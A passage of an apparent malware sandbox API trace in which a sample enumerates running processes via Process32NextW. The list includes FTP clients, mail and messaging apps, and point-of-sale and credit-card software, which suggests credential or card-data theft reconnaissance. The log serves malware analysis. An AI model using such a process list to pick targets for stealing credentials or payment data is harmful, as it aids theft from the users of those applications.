lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0059.203] lstrlenW (lpString="spoolsv.exe") returned 11 [0059.203] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.204] lstrlenW (lpString="taskhost.exe") returned 12 [0059.463] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.464] lstrlenW (lpString="svchost.exe") returned 11 [0059.465] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.467] lstrlenW (lpString="taskeng.exe") returned 11 [0059.467] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.469] lstrlenW (lpString="taskhost.exe") returned 12 [0059.469] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.471] lstrlenW (lpString="svchost.exe") returned 11 [0059.471] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0059.473] lstrlenW (lpString="sppsvc.exe") returned 10 [0059.473] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.474] lstrlenW (lpString="svchost.exe") returned 11 [0059.474] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cosmetics_involving_x.exe")) returned 1 [0059.476] lstrlenW (lpString="cosmetics_involving_x.exe") returned 25 [0059.476] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="visa thought.exe")) returned 1 [0059.478] lstrlenW (lpString="visa thought.exe") returned 16 [0059.478] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="instrumental.exe")) returned 1 [0059.479] lstrlenW (lpString="instrumental.exe") returned 16 [0059.480] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mouth tree.exe")) returned 1 [0059.481] lstrlenW (lpString="mouth tree.exe") returned 14 [0059.481] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x764, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="friday complete spiritual.exe")) returned 1 [0059.483] lstrlenW (lpString="friday complete spiritual.exe") returned 29 [0059.483] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thisul.exe")) returned 1 [0059.484] lstrlenW (lpString="thisul.exe") returned 10 [0059.484] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjacent-earlier.exe")) returned 1 [0059.486] lstrlenW (lpString="adjacent-earlier.exe") returned 20 [0059.487] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tired grad keep.exe")) returned 1 [0059.488] lstrlenW (lpString="tired grad keep.exe") returned 19 [0059.488] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basename_nested.exe")) returned 1 [0059.490] lstrlenW (lpString="basename_nested.exe") returned 19 [0059.490] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reserves-pixel-minds.exe")) returned 1 [0059.491] lstrlenW (lpString="reserves-pixel-minds.exe") returned 24 [0059.491] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-cpu-orange.exe")) returned 1 [0059.493] lstrlenW (lpString="securities-cpu-orange.exe") returned 25 [0059.493] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="exotic.exe")) returned 1 [0059.494] lstrlenW (lpString="exotic.exe") returned 10 [0059.495] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fisher arab disable.exe")) returned 1 [0059.496] lstrlenW (lpString="fisher arab disable.exe") returned 23 [0059.496] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufacture-mtv.exe")) returned 1 [0059.546] lstrlenW (lpString="manufacture-mtv.exe") returned 19 [0059.546] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="syndicaterssidentity.exe")) returned 1 [0059.547] lstrlenW (lpString="syndicaterssidentity.exe") returned 24 [0059.548] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="belfastcreationdeposit.exe")) returned 1 [0059.550] lstrlenW (lpString="belfastcreationdeposit.exe") returned 26 [0059.550] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient.exe")) returned 1 [0059.552] lstrlenW (lpString="patient.exe") returned 11 [0059.552] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corps.exe")) returned 1 [0059.554] lstrlenW (lpString="corps.exe") returned 9 [0059.554] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="inquire.exe")) returned 1 [0059.555] lstrlenW (lpString="inquire.exe") returned 11 [0059.555] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0059.557] lstrlenW (lpString="3dftp.exe") returned 9 [0059.557] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0059.558] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0059.558] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0059.560] lstrlenW (lpString="alftp.exe") returned 9 [0059.560] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0059.562] lstrlenW (lpString="barca.exe") returned 9 [0059.562] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0059.564] lstrlenW (lpString="bitkinex.exe") returned 12 [0059.564] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0059.565] lstrlenW (lpString="coreftp.exe") returned 11 [0059.565] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0059.567] lstrlenW (lpString="far.exe") returned 7 [0059.567] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0059.568] lstrlenW (lpString="filezilla.exe") returned 13 [0059.568] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0059.570] lstrlenW (lpString="flashfxp.exe") returned 12 [0059.570] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0059.571] lstrlenW (lpString="fling.exe") returned 9 [0059.572] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0059.573] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0059.573] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0059.575] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0059.575] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0059.578] lstrlenW (lpString="icq.exe") returned 7 [0059.578] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0059.689] lstrlenW (lpString="leechftp.exe") returned 12 [0059.816] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0059.819] lstrlenW (lpString="ncftp.exe") returned 9 [0059.819] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0059.821] lstrlenW (lpString="notepad.exe") returned 11 [0059.821] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0059.824] lstrlenW (lpString="operamail.exe") returned 13 [0059.824] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0059.826] lstrlenW (lpString="pidgin.exe") returned 10 [0059.826] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0059.829] lstrlenW (lpString="scriptftp.exe") returned 13 [0059.829] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0059.831] lstrlenW (lpString="skype.exe") returned 9 [0059.832] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0059.834] lstrlenW (lpString="smartftp.exe") returned 12 [0059.834] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0059.837] lstrlenW (lpString="thunderbird.exe") returned 15 [0059.837] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0059.839] lstrlenW (lpString="totalcmd.exe") returned 12 [0059.839] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0059.841] lstrlenW (lpString="trillian.exe") returned 12 [0059.841] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0059.843] lstrlenW (lpString="webdrive.exe") returned 12 [0059.844] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0059.859] lstrlenW (lpString="whatsapp.exe") returned 12 [0059.859] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0060.056] lstrlenW (lpString="winscp.exe") returned 10 [0060.056] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0060.058] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0060.058] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0060.061] lstrlenW (lpString="active-charge.exe") returned 17 [0060.061] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0060.064] lstrlenW (lpString="accupos.exe") returned 11 [0060.064] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0060.067] lstrlenW (lpString="afr38.exe") returned 9 [0060.067] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0060.069] lstrlenW (lpString="aldelo.exe") returned 10 [0060.069] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0060.071] lstrlenW (lpString="ccv_server.exe") returned 14 [0060.071] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0060.073] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0060.073] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0060.075] lstrlenW (lpString="creditservice.exe") returned 17 [0060.075] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0060.077] lstrlenW (lpString="edcsvr.exe") returned 10 [0060.077] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0060.079] lstrlenW (lpString="fpos.exe") returned 8 [0060.079] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0060.082] lstrlenW (lpString="isspos.exe") returned 10 [0060.082] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0060.084] lstrlenW (lpString="mxslipstream.exe") returned 16 [0060.084] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0060.708] lstrlenW (lpString="omnipos.exe") returned 11 [0060.708] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0060.711] lstrlenW (lpString="spcwin.exe") returned 10 [0060.711] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0060.713] lstrlenW (lpString="spgagentservice.exe") returned 19 [0060.714] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0060.715] lstrlenW (lpString="utg2.exe") returned 8 [0060.716] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="amsterdam.exe")) returned 1 [0060.717] lstrlenW (lpString="amsterdam.exe") returned 13 [0060.717] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb54, 